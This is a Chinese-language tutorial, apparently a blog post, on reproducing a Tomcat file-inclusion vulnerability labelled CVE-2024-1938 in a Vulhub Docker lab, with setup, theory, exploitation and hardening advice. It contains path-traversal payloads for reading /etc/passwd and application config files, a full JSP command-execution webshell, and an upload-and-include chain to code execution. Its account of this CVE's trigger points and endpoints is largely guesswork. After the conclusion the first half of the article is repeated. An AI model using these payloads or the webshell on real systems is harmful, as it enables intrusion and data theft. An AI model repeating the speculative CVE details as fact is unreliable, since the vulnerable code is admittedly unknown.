1. 项目概述一次从零开始的Tomcat文件包含漏洞复现之旅最近在安全圈里CVE-2024-1938这个编号被讨论得挺多。这是一个影响特定版本Apache Tomcat的文件包含漏洞。对于咱们搞安全研究、渗透测试或者想深入理解Web安全原理的同行来说没有什么比亲手在可控环境里复现一个漏洞更能加深理解的了。Vulhub这个开源漏洞靶场环境就为我们提供了这样一个完美的“实验室”。它把漏洞环境做成了Docker镜像我们只需要几条命令就能拉起来一个存在漏洞的Tomcat服务然后去验证、分析和学习。这个过程不仅能让我们直观看到漏洞的成因和危害更是理解如何防御这类问题的绝佳途径。今天我就以一个一线安全从业者的视角带你走一遍从搭建环境到成功利用CVE-2024-1938的全过程中间会穿插很多我踩过的坑和总结出来的技巧目标是让你看完就能自己动手复现出来。2. 环境准备与Vulhub靶场搭建2.1 为什么选择Vulhub进行漏洞复现在动手之前咱们先聊聊工具选型。市面上漏洞复现的环境有很多为什么我强烈推荐Vulhub首先它极度“傻瓜化”。每个漏洞都是一个独立的Docker Compose项目你不需要去网上四处寻找有漏洞的旧版本软件、费劲地配置依赖、解决环境冲突。Vulhub的作者已经把这些脏活累活都干完了封装成了标准的docker-compose.yml文件。其次它非常“干净”。实验环境跑在容器里与你的宿主机完全隔离。做完实验一条docker-compose down命令就能把整个环境清理得干干净净不会在你的系统里留下任何垃圾文件或者造成软件版本冲突。最后它很“全面”。Vulhub覆盖了从Web应用到系统服务的大量经典和新型漏洞是一个持续更新的漏洞库用这一个工具就能搭建起个人的小型攻防实验室。注意虽然Vulhub极大简化了流程但它要求你的宿主机已经安装了Docker和Docker Compose。这是前置条件如果还没装需要先搞定。2.2 搭建Vulhub实验环境详细步骤假设你用的是一台干净的Ubuntu 22.04 LTS系统其他Linux发行版步骤类似咱们从零开始。第一步安装Docker引擎Docker是运行容器的基础。我习惯使用官方提供的安装脚本比较省心。# 更新软件包索引 sudo apt-get update # 安装一些必要的工具允许apt通过HTTPS使用仓库 sudo apt-get install -y ca-certificates curl gnupg lsb-release # 添加Docker的官方GPG密钥 sudo mkdir -p /etc/apt/keyrings curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg # 设置Docker的稳定版仓库 echo \ deb [arch$(dpkg --print-architecture) signed-by/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \ $(lsb_release -cs) stable | sudo tee /etc/apt/sources.list.d/docker.list /dev/null # 再次更新并安装Docker引擎、命令行工具、容器运行时等 sudo apt-get update sudo apt-get install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin安装完成后将当前用户加入docker组这样以后就不用每次都加sudo了。sudo usermod -aG docker $USER这里有个关键操作执行完上面的命令后你需要完全退出当前终端会话然后重新登录或者新开一个终端窗口用户组的变更才会生效。很多新手卡在这里发现还是需要sudo就是因为没重新登录。验证安装docker --version和docker compose version注意是compose不是compose应该能正确显示版本号。第二步安装Docker Compose独立版本虽然Docker现在推荐使用内置的docker compose插件上面已经安装了但Vulhub的文档和脚本有时仍会调用独立的docker-compose命令。为了兼容性我建议也安装独立版本。# 下载当前稳定版的Docker Compose二进制文件 sudo curl -L https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m) -o /usr/local/bin/docker-compose # 赋予二进制文件可执行权限 sudo chmod x /usr/local/bin/docker-compose # 创建软链接确保在PATH中能找到 sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose # 验证安装 docker-compose --version现在你的系统里应该同时有docker compose插件和docker-compose独立二进制两个命令它们功能基本一样可以混用。第三步拉取Vulhub漏洞库Vulhub的源码托管在GitHub上我们直接克隆下来。# 找一个合适的目录比如家目录 cd ~ # 使用Git克隆项目如果网速慢可以考虑使用镜像源 git clone https://github.com/vulhub/vulhub.git cd vulhub进入vulhub目录后你会看到里面按漏洞软件分了很多子目录比如tomcat、struts2、thinkphp等。我们的目标tomcat/CVE-2024-1938就在其中。第四步启动靶场环境定位到具体的漏洞目录并启动。# 进入Tomcat漏洞目录 cd tomcat/CVE-2024-1938 # 使用docker-compose拉取镜像并启动容器 sudo docker-compose up -d-d参数代表“后台运行”。执行这条命令后Docker会从仓库拉取预先构建好的漏洞镜像然后根据docker-compose.yml的配置启动容器。第一次运行需要下载镜像速度取决于你的网络。第五步确认环境运行状态启动完成后务必检查一下容器是否正常运行。sudo docker-compose ps你应该能看到一个名为tomcat-cve-2024-1938的容器状态是Up。同时docker-compose.yml里通常会把Tomcat的8080端口映射到宿主机的某个端口比如8080。你可以用curl或者浏览器访问http://你的服务器IP:8080如果能看到Tomcat的默认主页可能是一只猫或者一个简单的页面说明环境已经成功启动。实操心得在云服务器上做实验时务必确保安全组或防火墙规则放行了你映射的端口如8080。我见过不止一个同行花了半天时间排查最后发现是云服务商的安全组没开端口。3. CVE-2024-1938漏洞原理深度解析3.1 文件包含漏洞的基本概念在深入CVE-2024-1938之前我们得先搞清楚什么是“文件包含漏洞”。你可以把它想象成一家餐厅的后厨。正常情况下厨师做菜时只能从指定的、安全的食材仓库比如/var/www/html/menu.php取用食材。文件包含功能就像是允许厨师根据客人的点单一个参数去仓库里取出对应的菜谱文件来执行。例如客人点了“今日汤品”参数就是soup“today_special”后厨就去包含today_special.php这个文件。漏洞就出在这个“包含”机制上。如果餐厅管理不严代码没有对输入进行严格过滤客人就可以在点单时写上soup“../../etc/passwd”。这时厨师服务器就会傻傻地跑到系统根目录下的/etc/文件夹试图把passwd这个系统密码文件当作菜谱来“执行”或读取。虽然passwd不是PHP代码服务器可能不会执行它但很可能会把文件内容直接输出给客人导致敏感信息泄露。这就是一个典型的“本地文件包含”LFI。如果攻击者能控制一个远程URL让服务器去包含那就成了“远程文件包含”RFI危害更大。在Java Web的世界里JSPJavaServer Pages是动态网页。Tomcat作为JSP的容器负责解析和执行JSP文件。Tomcat在处理JSP时有一个机制叫“JSP包含”可以通过jsp:include标签或者% include file“...” %指令来引入其他文件。CVE-2024-1938正是与Tomcat处理某些特定场景下的文件包含请求时对路径的校验不严有关。3.2 CVE-2024-1938的技术细节与影响范围根据漏洞公告CVE-2024-1938影响的是Apache Tomcat的特定版本。其核心问题在于当Tomcat在某种配置或请求处理模式下攻击者能够构造特殊的HTTP请求利用路径遍历序列比如../跳出Web应用的安全目录通常是webapps/ROOT进而读取或包含服务器文件系统上的任意文件。举个例子假设你的Tomcat应用有一个功能通过参数file来动态包含页脚/app?filefooter.jsp。正常逻辑是去webapps/ROOT/WEB-INF/下面找footer.jsp。但如果代码没有过滤../攻击者请求/app?file../../../../etc/passwdTomcat在处理这个包含请求时可能会错误地解析路径从而向上穿越目录最终尝试去读取/etc/passwd。影响版本这是关键信息。根据官方通告此漏洞影响Apache Tomcat的8.5.x系列中8.5.0至8.5.96之间的某些版本以及9.0.x系列中9.0.0至9.0.86之间的某些版本。注意并不是这个区间的所有版本都受影响通常是在某个具体版本引入了缺陷并在后续版本中被修复。Vulhub靶场为我们准备的就是一个精确的、存在漏洞的Tomcat版本。漏洞危害敏感信息泄露最直接的危害。攻击者可以读取服务器上的配置文件如/etc/passwd/proc/self/environ数据库连接配置文件WEB-INF/classes/db.properties等获取系统信息、数据库密码等。源码泄露通过包含WEB-INF/web.xml或*.java、*.class文件可能导致业务逻辑源码泄露为攻击者发起进一步攻击提供信息。在某些条件下可能导致远程代码执行RCE如果服务器环境允许例如存在可上传文件的位置且能包含到该文件攻击者可能先上传一个包含恶意代码的JSP文件再利用文件包含漏洞去执行它从而获得服务器命令执行权限。这是文件包含漏洞最危险的演变。与类似漏洞的区别Tomcat历史上出现过多个文件读取/包含漏洞比如著名的CVE-2020-1938Ghostcat那是通过AJP协议读取Web应用目录下的文件。而CVE-2024-1938的利用向量可能不同它更可能直接通过HTTP请求在JSP包含或静态资源处理等环节触发。这也是我们需要通过复现来具体观察的。4. 漏洞复现实操过程全记录4.1 信息收集与漏洞探测环境跑起来之后先别急着上“武器”。好的渗透测试员就像侦探先要观察现场。我们首先对启动的靶场进行基本信息收集。确定Tomcat版本和基本信息 访问http://靶机IP:8080。通常默认页或错误页面会显示Tomcat版本。你也可以用命令行工具快速检查curl -I http://靶机IP:8080查看返回的HTTP头Server字段常常会包含Tomcat版本信息。Vulhub的镜像通常是一个精简环境可能没有默认管理页面但版本信息是明确的。探索Web应用结构 我们需要知道这个靶场模拟了一个什么样的应用。有时候Vulhub会部署一个简单的、存在漏洞的示例Web应用。用浏览器开发者工具F12查看页面源码或者用dirsearch、gobuster这类目录扫描工具进行初步探测。# 示例使用gobuster进行常见路径扫描需提前安装 gobuster dir -u http://靶机IP:8080 -w /usr/share/wordlists/dirb/common.txt -t 50这个步骤的目的是寻找可能存在参数输入的点比如index.jsp、download.jsp、show.jsp等这些页面更有可能存在文件包含的功能点。漏洞探测POC构造 根据我们对CVE-2024-1938原理的理解它可能通过某个特定的Servlet、JSP页面或者对静态资源处理的缺陷触发。我们需要尝试构造包含路径遍历序列的请求。尝试一直接访问JSP文件并附加参数。假设我们发现了一个include.jsp页面可以尝试http://靶机IP:8080/include.jsp?page../../../../etc/passwd尝试二利用静态资源处理。Tomcat处理/static/../这样的路径时也可能存在问题。尝试http://靶机IP:8080/somepath/..;/..;/..;/etc/passwd注意这里使用了..;这是Java Web中一种特殊的路径参数分隔方式历史上曾用于绕过安全限制但新版本已修复此处仅为示例思路。尝试三查看Vulhub目录下的说明。最直接的方法是看Vulhub项目里有没有提供POC。通常在tomcat/CVE-2024-1938目录下会有一个README.md或说明.txt文件里面直接给出了漏洞利用的URL和参数。这是我们首先应该查看的。注意事项在实际渗透测试中信息收集和模糊测试要谨慎避免对目标系统造成破坏。但在我们自己的Vulhub靶场里可以放心尝试。4.2 利用漏洞读取敏感文件假设我们通过查看Vulhub的说明文档或者经过一番探测发现了漏洞触发点。现在让我们演示如何利用它读取系统文件。场景模拟Vulhub很可能部署了一个简单的JSP页面比如/vuln.jsp它接收一个filename参数并尝试将其包含进来。读取Linux系统密码文件 这是验证LFI漏洞最经典的测试。构造请求http://靶机IP:8080/vuln.jsp?filename../../../../../../etc/passwd为什么这么多../因为我们要从Web应用的根目录例如/usr/local/tomcat/webapps/ROOT穿越到Linux系统的根目录/。../的数量需要足够多以确保能“跳出去”。如果请求成功响应内容中应该会出现/etc/passwd文件的内容你会看到以root:x:0:0:开头的多行文本。读取Web应用配置文件 对于攻击者来说/etc/passwd可能只是开胃菜真正的“宝藏”是Web应用自身的配置文件。在Java Web应用中WEB-INF目录通常包含web.xml部署描述符和classes目录存放编译后的Java类文件和属性文件。 尝试读取web.xmlhttp://靶机IP:8080/vuln.jsp?filenameWEB-INF/web.xml注意这里可能不需要../因为WEB-INF通常和你的JSP页面在同一应用根目录下。web.xml里可能定义了数据库连接池等敏感信息。 更进一步尝试读取数据库配置文件http://靶机IP:8080/vuln.jsp?filename../../WEB-INF/classes/db.properties或者尝试不同的路径穿越组合。利用技巧空字节截断历史技巧 在一些老版本的Java/Tomcat环境中攻击者会在文件名后添加空字节%00来截断后面的后缀。例如如果代码是include(filename “.jsp”)攻击者传入../../../etc/passwd%00拼接后变成../../../etc/passwd%00.jsp服务器在处理时空字节可能会被当作字符串结束符从而只读取/etc/passwd。但请注意在较新的JDK和Tomcat中空字节截断通常已被修复。不过在复现历史漏洞或特定环境时这仍是一个值得尝试的思路。实际操作演示 我们打开浏览器或使用curl命令。假设靶场IP是192.168.1.100漏洞点在/include.jsp。curl http://192.168.1.100:8080/include.jsp?file../../../../etc/passwd如果返回了/etc/passwd的内容恭喜你漏洞复现成功你可以清晰地看到Tomcat进程是以什么用户运行的通常是tomcat或root以及系统有哪些用户。4.3 漏洞利用的进阶尝试从文件包含到代码执行仅仅读取文件可能还不够“刺激”。安全研究的深度在于探索漏洞的最大危害。对于文件包含漏洞我们梦想的终点是“远程代码执行”RCE。这需要一些额外的条件配合。思路如果服务器允许我们上传文件到某个可访问的目录比如通过应用的文件上传功能或者利用其他漏洞上传一个文本文件并且我们能够通过文件包含漏洞去“包含”这个上传的文件那么就有可能执行其中的代码。寻找文件上传点首先需要检查靶场应用是否有上传功能。可以再次使用目录扫描工具寻找upload.jspfile-upload等路径。上传WebShell如果存在上传点并且过滤不严例如只检查了前端或者没有检查文件内容我们可以尝试上传一个特制的JSP WebShell。一个最简单的JSP Shell如下保存为shell.jsp% page importjava.util.*,java.io.*% % String cmd request.getParameter(cmd); if (cmd ! null) { Process p Runtime.getRuntime().exec(cmd); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } %这个JSP页面会接收一个cmd参数并在服务器上执行它将结果返回给浏览器。组合利用假设我们通过上传功能将shell.jsp上传到了服务器上的/uploads/shell.jsp这个路径是我们通过响应或猜测得知的。然后我们利用文件包含漏洞去包含这个上传的JSP文件。请求可能像这样http://靶机IP:8080/vuln.jsp?filename../uploads/shell.jsp如果包含成功这个JSP文件就会被Tomcat解析执行。此时我们再直接访问WebShell或者通过包含后的页面传递命令参数http://靶机IP:8080/uploads/shell.jsp?cmdid如果页面上返回了当前运行Tomcat的用户ID信息如uid1000(tomcat)那么RCE就成功了。重要警告在Vulhub靶场中这种RCE场景不一定能直接复现因为靶场环境可能故意没有设置文件上传功能或者权限控制很严格。这个环节主要是为了演示文件包含漏洞在理想条件下的完整攻击链。在实际渗透测试中这种“组合拳”是攻击者常用的手段。5. 漏洞根因分析与修复方案5.1 代码层面问题剖析要真正理解一个漏洞最好能看看有问题的代码。虽然我们看不到Tomcat官方的漏洞代码细节但可以根据漏洞描述和同类漏洞的原理进行推理。文件包含漏洞的根源几乎总是未经验证的用户输入直接拼接到了文件系统操作路径中。假设存在漏洞的Servlet或JSP代码如下String filePath request.getParameter(file); // 危险操作直接将用户输入拼接到基础路径上 String fullPath /var/www/webapp/ filePath; // 然后去读取或包含 fullPath或者在一些JSP标签中jsp:include page% request.getParameter(\page\) % /攻击者通过输入../../../etc/passwd就成功操控了fullPath的最终值使其指向了系统敏感文件。更深层的原因可能在于Tomcat对RequestDispatcher的include方法或者在处理JSP的jsp:include、% include %时对相对路径的解析逻辑存在缺陷未能正确地将路径限制在当前Web应用的上下文Context根目录之内。特别是在某些特定的配置组合下比如使用了某种特定的阀门Valve或者过滤器Filter这种安全检查被绕过。5.2 官方修复与安全加固建议Apache Tomcat团队在收到漏洞报告后会发布安全更新。对于CVE-2024-1938修复方案通常是升级到安全版本这是最根本、最有效的解决方案。前往Apache Tomcat官网下载并升级到不受该漏洞影响的版本。对于受影响的8.5.x和9.0.x分支应升级到官方声明已修复的版本之后例如8.5.97或9.0.87具体版本号需查阅官方安全公告。代码层面修复修复会集中在路径规范化normalize和安全检查的逻辑上。例如在将用户提供的路径参数用于文件操作之前必须进行严格的校验绝对路径检查拒绝任何以/开头的绝对路径。路径遍历检查检查参数中是否包含..序列如果包含则要么拒绝请求要么在拼接前进行规范化并确保最终路径没有超出Web应用的根目录。白名单机制如果可能使用基于已知安全文件列表的白名单只允许包含特定的、预定义的文件。使用安全的API使用ServletContext.getResource()或getResourceAsStream()方法来获取资源这些方法通常会将路径限制在当前Web应用上下文内。对于开发者和运维人员的安全加固建议输入验证与过滤对所有用户输入进行“消毒”。对于文件包含参数不仅要过滤..和/还要注意各种编码和双编码的绕过如%2e%2e/..%252f。最小权限原则运行Tomcat的进程用户如tomcat应该是一个非特权用户并且只拥有其Web应用目录的必要读写权限绝不能以root身份运行。这样即使漏洞被利用攻击者能读取的文件范围也受到极大限制。部署Web应用防火墙WAF在Tomcat前端部署WAF可以配置规则来拦截包含路径遍历序列的恶意请求。定期更新与安全审计保持Tomcat及其依赖库如JDK更新到最新稳定版。定期对自有代码进行安全审计特别是涉及文件操作、路径拼接的地方。移除不必要的功能和文件在生产环境中移除Tomcat默认的示例应用webapps/examples、管理控制台webapps/manager和webapps/host-manager如果不需要的话以及任何未使用的文档。减少攻击面。6. 复现过程中的常见问题与排查实录即使按照步骤操作复现过程也可能遇到各种问题。下面是我在多次搭建和教学过程中总结的一些常见“坑”及其解决方法。6.1 环境搭建与启动问题问题1执行docker-compose up -d时报错提示“Cannot connect to the Docker daemon”。原因Docker服务没有运行或者当前用户没有权限连接Docker守护进程。排查检查Docker服务状态sudo systemctl status docker。如果没运行则启动它sudo systemctl start docker。确保当前用户已加入docker组见2.2节并且已经重新登录终端。也可以暂时用sudo执行命令sudo docker-compose up -d。问题2端口冲突。启动时提示“Bind for 0.0.0.0:8080 failed: port is already allocated”。原因宿主机的8080端口已经被其他程序可能是另一个Tomcat、Jenkins等占用。解决修改docker-compose.yml文件。找到ports配置将“8080:8080”改为其他未被占用的端口如“8088:8080”。左边是宿主机端口右边是容器内端口。或者先停止占用端口的进程sudo lsof -i:8080查看进程ID然后用kill命令停止它确保该进程不重要。问题3下载Docker镜像速度极慢或超时。原因默认Docker Hub镜像源在国内访问可能较慢。解决为Docker配置国内镜像加速器。编辑/etc/docker/daemon.json文件没有则创建{ “registry-mirrors”: [ “https://docker.mirrors.ustc.edu.cn” “https://hub-mirror.c.163.com” ] }然后重启Docker服务sudo systemctl restart docker。6.2 漏洞利用不成功问题问题4访问靶场IP:端口显示“Connection refused”或无法连接。排查确认容器状态docker-compose ps查看容器是否为Up状态。查看容器日志docker-compose logs可以查看Tomcat的启动日志也许Tomcat启动失败了例如端口冲突、内存不足。日志里会有明确的错误信息。检查防火墙如果是云服务器确保安全组规则放行了对应端口。本地虚拟机则检查ufw或firewalld状态。问题5按照POC发送请求但返回404、500错误或者没有读取到文件内容。可能原因及排查路径不对Vulhub的漏洞利用路径可能不是简单的/。仔细阅读漏洞目录下的README或任何说明文件。有时漏洞路径是/examples/servlet/XXX。参数名不对漏洞参数可能不是file或filename可能是page、name、include等。可以尝试用ffuf或wfuzz等工具进行参数模糊测试。路径穿越深度不足../的数量不够没能跳出Web应用目录。可以不断增加../的数量尝试如从../../../一直尝试到../../../../../../../../。漏洞利用有特定条件CVE-2024-1938可能需要特定的配置如启用了某个功能模块或特定的请求方式如POST请求。再次仔细阅读漏洞公告和Vulhub说明。靶场环境问题极少数情况下镜像可能没有正确构建。可以尝试彻底重建docker-compose down -v-v会删除数据卷然后docker-compose up -d --build--build会重新构建镜像。问题6成功读取到/etc/passwd但想读/etc/shadow时被拒绝。原因这是正常且期望的安全表现。/etc/shadow文件存储加密后的用户密码只有root用户有读取权限。Tomcat进程通常以非root用户如tomcat运行自然没有权限读取。这说明即使存在漏洞系统层面的权限最小化原则也起到了限制作用。6.3 实验后清理与资源管理问题7实验做完后如何彻底清理环境正确操作在漏洞复现的目录即docker-compose.yml所在目录下执行sudo docker-compose down -vdown命令会停止并删除容器。-v参数会同时删除Docker Compose中定义的所有匿名数据卷确保不留任何数据垃圾。如果想保留数据用于下次实验则不要加-v。问题8磁盘空间被Docker镜像占满。清理无用镜像定期清理不再使用的Docker镜像、容器和缓存。# 删除所有已停止的容器 docker container prune # 删除所有未被使用的镜像谨慎会删除所有未被容器引用的镜像 docker image prune -a # 删除所有未被使用的数据卷非常谨慎确保数据已备份 docker volume prune # 一键清理所有无用资源 docker system prune -a复现漏洞不仅是按部就班地执行POC更是一个不断遇到问题、分析问题、解决问题的过程。每一次排查都是对网络、系统、中间件知识的一次巩固。当你成功看到/etc/passwd的内容在浏览器中显示出来时那种对漏洞原理豁然开朗的感觉正是安全研究最大的乐趣之一。希望这篇详细的记录能帮你绕过我踩过的那些坑顺利复现CVE-2024-1938并从中获得更深入的理解。
CVE-2024-1938漏洞复现:Tomcat文件包含原理与Vulhub靶场实战
发布时间:2026/6/30 11:18:12
1. 项目概述一次从零开始的Tomcat文件包含漏洞复现之旅最近在安全圈里CVE-2024-1938这个编号被讨论得挺多。这是一个影响特定版本Apache Tomcat的文件包含漏洞。对于咱们搞安全研究、渗透测试或者想深入理解Web安全原理的同行来说没有什么比亲手在可控环境里复现一个漏洞更能加深理解的了。Vulhub这个开源漏洞靶场环境就为我们提供了这样一个完美的“实验室”。它把漏洞环境做成了Docker镜像我们只需要几条命令就能拉起来一个存在漏洞的Tomcat服务然后去验证、分析和学习。这个过程不仅能让我们直观看到漏洞的成因和危害更是理解如何防御这类问题的绝佳途径。今天我就以一个一线安全从业者的视角带你走一遍从搭建环境到成功利用CVE-2024-1938的全过程中间会穿插很多我踩过的坑和总结出来的技巧目标是让你看完就能自己动手复现出来。2. 环境准备与Vulhub靶场搭建2.1 为什么选择Vulhub进行漏洞复现在动手之前咱们先聊聊工具选型。市面上漏洞复现的环境有很多为什么我强烈推荐Vulhub首先它极度“傻瓜化”。每个漏洞都是一个独立的Docker Compose项目你不需要去网上四处寻找有漏洞的旧版本软件、费劲地配置依赖、解决环境冲突。Vulhub的作者已经把这些脏活累活都干完了封装成了标准的docker-compose.yml文件。其次它非常“干净”。实验环境跑在容器里与你的宿主机完全隔离。做完实验一条docker-compose down命令就能把整个环境清理得干干净净不会在你的系统里留下任何垃圾文件或者造成软件版本冲突。最后它很“全面”。Vulhub覆盖了从Web应用到系统服务的大量经典和新型漏洞是一个持续更新的漏洞库用这一个工具就能搭建起个人的小型攻防实验室。注意虽然Vulhub极大简化了流程但它要求你的宿主机已经安装了Docker和Docker Compose。这是前置条件如果还没装需要先搞定。2.2 搭建Vulhub实验环境详细步骤假设你用的是一台干净的Ubuntu 22.04 LTS系统其他Linux发行版步骤类似咱们从零开始。第一步安装Docker引擎Docker是运行容器的基础。我习惯使用官方提供的安装脚本比较省心。# 更新软件包索引 sudo apt-get update # 安装一些必要的工具允许apt通过HTTPS使用仓库 sudo apt-get install -y ca-certificates curl gnupg lsb-release # 添加Docker的官方GPG密钥 sudo mkdir -p /etc/apt/keyrings curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg # 设置Docker的稳定版仓库 echo \ deb [arch$(dpkg --print-architecture) signed-by/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \ $(lsb_release -cs) stable | sudo tee /etc/apt/sources.list.d/docker.list /dev/null # 再次更新并安装Docker引擎、命令行工具、容器运行时等 sudo apt-get update sudo apt-get install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin安装完成后将当前用户加入docker组这样以后就不用每次都加sudo了。sudo usermod -aG docker $USER这里有个关键操作执行完上面的命令后你需要完全退出当前终端会话然后重新登录或者新开一个终端窗口用户组的变更才会生效。很多新手卡在这里发现还是需要sudo就是因为没重新登录。验证安装docker --version和docker compose version注意是compose不是compose应该能正确显示版本号。第二步安装Docker Compose独立版本虽然Docker现在推荐使用内置的docker compose插件上面已经安装了但Vulhub的文档和脚本有时仍会调用独立的docker-compose命令。为了兼容性我建议也安装独立版本。# 下载当前稳定版的Docker Compose二进制文件 sudo curl -L https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m) -o /usr/local/bin/docker-compose # 赋予二进制文件可执行权限 sudo chmod x /usr/local/bin/docker-compose # 创建软链接确保在PATH中能找到 sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose # 验证安装 docker-compose --version现在你的系统里应该同时有docker compose插件和docker-compose独立二进制两个命令它们功能基本一样可以混用。第三步拉取Vulhub漏洞库Vulhub的源码托管在GitHub上我们直接克隆下来。# 找一个合适的目录比如家目录 cd ~ # 使用Git克隆项目如果网速慢可以考虑使用镜像源 git clone https://github.com/vulhub/vulhub.git cd vulhub进入vulhub目录后你会看到里面按漏洞软件分了很多子目录比如tomcat、struts2、thinkphp等。我们的目标tomcat/CVE-2024-1938就在其中。第四步启动靶场环境定位到具体的漏洞目录并启动。# 进入Tomcat漏洞目录 cd tomcat/CVE-2024-1938 # 使用docker-compose拉取镜像并启动容器 sudo docker-compose up -d-d参数代表“后台运行”。执行这条命令后Docker会从仓库拉取预先构建好的漏洞镜像然后根据docker-compose.yml的配置启动容器。第一次运行需要下载镜像速度取决于你的网络。第五步确认环境运行状态启动完成后务必检查一下容器是否正常运行。sudo docker-compose ps你应该能看到一个名为tomcat-cve-2024-1938的容器状态是Up。同时docker-compose.yml里通常会把Tomcat的8080端口映射到宿主机的某个端口比如8080。你可以用curl或者浏览器访问http://你的服务器IP:8080如果能看到Tomcat的默认主页可能是一只猫或者一个简单的页面说明环境已经成功启动。实操心得在云服务器上做实验时务必确保安全组或防火墙规则放行了你映射的端口如8080。我见过不止一个同行花了半天时间排查最后发现是云服务商的安全组没开端口。3. CVE-2024-1938漏洞原理深度解析3.1 文件包含漏洞的基本概念在深入CVE-2024-1938之前我们得先搞清楚什么是“文件包含漏洞”。你可以把它想象成一家餐厅的后厨。正常情况下厨师做菜时只能从指定的、安全的食材仓库比如/var/www/html/menu.php取用食材。文件包含功能就像是允许厨师根据客人的点单一个参数去仓库里取出对应的菜谱文件来执行。例如客人点了“今日汤品”参数就是soup“today_special”后厨就去包含today_special.php这个文件。漏洞就出在这个“包含”机制上。如果餐厅管理不严代码没有对输入进行严格过滤客人就可以在点单时写上soup“../../etc/passwd”。这时厨师服务器就会傻傻地跑到系统根目录下的/etc/文件夹试图把passwd这个系统密码文件当作菜谱来“执行”或读取。虽然passwd不是PHP代码服务器可能不会执行它但很可能会把文件内容直接输出给客人导致敏感信息泄露。这就是一个典型的“本地文件包含”LFI。如果攻击者能控制一个远程URL让服务器去包含那就成了“远程文件包含”RFI危害更大。在Java Web的世界里JSPJavaServer Pages是动态网页。Tomcat作为JSP的容器负责解析和执行JSP文件。Tomcat在处理JSP时有一个机制叫“JSP包含”可以通过jsp:include标签或者% include file“...” %指令来引入其他文件。CVE-2024-1938正是与Tomcat处理某些特定场景下的文件包含请求时对路径的校验不严有关。3.2 CVE-2024-1938的技术细节与影响范围根据漏洞公告CVE-2024-1938影响的是Apache Tomcat的特定版本。其核心问题在于当Tomcat在某种配置或请求处理模式下攻击者能够构造特殊的HTTP请求利用路径遍历序列比如../跳出Web应用的安全目录通常是webapps/ROOT进而读取或包含服务器文件系统上的任意文件。举个例子假设你的Tomcat应用有一个功能通过参数file来动态包含页脚/app?filefooter.jsp。正常逻辑是去webapps/ROOT/WEB-INF/下面找footer.jsp。但如果代码没有过滤../攻击者请求/app?file../../../../etc/passwdTomcat在处理这个包含请求时可能会错误地解析路径从而向上穿越目录最终尝试去读取/etc/passwd。影响版本这是关键信息。根据官方通告此漏洞影响Apache Tomcat的8.5.x系列中8.5.0至8.5.96之间的某些版本以及9.0.x系列中9.0.0至9.0.86之间的某些版本。注意并不是这个区间的所有版本都受影响通常是在某个具体版本引入了缺陷并在后续版本中被修复。Vulhub靶场为我们准备的就是一个精确的、存在漏洞的Tomcat版本。漏洞危害敏感信息泄露最直接的危害。攻击者可以读取服务器上的配置文件如/etc/passwd/proc/self/environ数据库连接配置文件WEB-INF/classes/db.properties等获取系统信息、数据库密码等。源码泄露通过包含WEB-INF/web.xml或*.java、*.class文件可能导致业务逻辑源码泄露为攻击者发起进一步攻击提供信息。在某些条件下可能导致远程代码执行RCE如果服务器环境允许例如存在可上传文件的位置且能包含到该文件攻击者可能先上传一个包含恶意代码的JSP文件再利用文件包含漏洞去执行它从而获得服务器命令执行权限。这是文件包含漏洞最危险的演变。与类似漏洞的区别Tomcat历史上出现过多个文件读取/包含漏洞比如著名的CVE-2020-1938Ghostcat那是通过AJP协议读取Web应用目录下的文件。而CVE-2024-1938的利用向量可能不同它更可能直接通过HTTP请求在JSP包含或静态资源处理等环节触发。这也是我们需要通过复现来具体观察的。4. 漏洞复现实操过程全记录4.1 信息收集与漏洞探测环境跑起来之后先别急着上“武器”。好的渗透测试员就像侦探先要观察现场。我们首先对启动的靶场进行基本信息收集。确定Tomcat版本和基本信息 访问http://靶机IP:8080。通常默认页或错误页面会显示Tomcat版本。你也可以用命令行工具快速检查curl -I http://靶机IP:8080查看返回的HTTP头Server字段常常会包含Tomcat版本信息。Vulhub的镜像通常是一个精简环境可能没有默认管理页面但版本信息是明确的。探索Web应用结构 我们需要知道这个靶场模拟了一个什么样的应用。有时候Vulhub会部署一个简单的、存在漏洞的示例Web应用。用浏览器开发者工具F12查看页面源码或者用dirsearch、gobuster这类目录扫描工具进行初步探测。# 示例使用gobuster进行常见路径扫描需提前安装 gobuster dir -u http://靶机IP:8080 -w /usr/share/wordlists/dirb/common.txt -t 50这个步骤的目的是寻找可能存在参数输入的点比如index.jsp、download.jsp、show.jsp等这些页面更有可能存在文件包含的功能点。漏洞探测POC构造 根据我们对CVE-2024-1938原理的理解它可能通过某个特定的Servlet、JSP页面或者对静态资源处理的缺陷触发。我们需要尝试构造包含路径遍历序列的请求。尝试一直接访问JSP文件并附加参数。假设我们发现了一个include.jsp页面可以尝试http://靶机IP:8080/include.jsp?page../../../../etc/passwd尝试二利用静态资源处理。Tomcat处理/static/../这样的路径时也可能存在问题。尝试http://靶机IP:8080/somepath/..;/..;/..;/etc/passwd注意这里使用了..;这是Java Web中一种特殊的路径参数分隔方式历史上曾用于绕过安全限制但新版本已修复此处仅为示例思路。尝试三查看Vulhub目录下的说明。最直接的方法是看Vulhub项目里有没有提供POC。通常在tomcat/CVE-2024-1938目录下会有一个README.md或说明.txt文件里面直接给出了漏洞利用的URL和参数。这是我们首先应该查看的。注意事项在实际渗透测试中信息收集和模糊测试要谨慎避免对目标系统造成破坏。但在我们自己的Vulhub靶场里可以放心尝试。4.2 利用漏洞读取敏感文件假设我们通过查看Vulhub的说明文档或者经过一番探测发现了漏洞触发点。现在让我们演示如何利用它读取系统文件。场景模拟Vulhub很可能部署了一个简单的JSP页面比如/vuln.jsp它接收一个filename参数并尝试将其包含进来。读取Linux系统密码文件 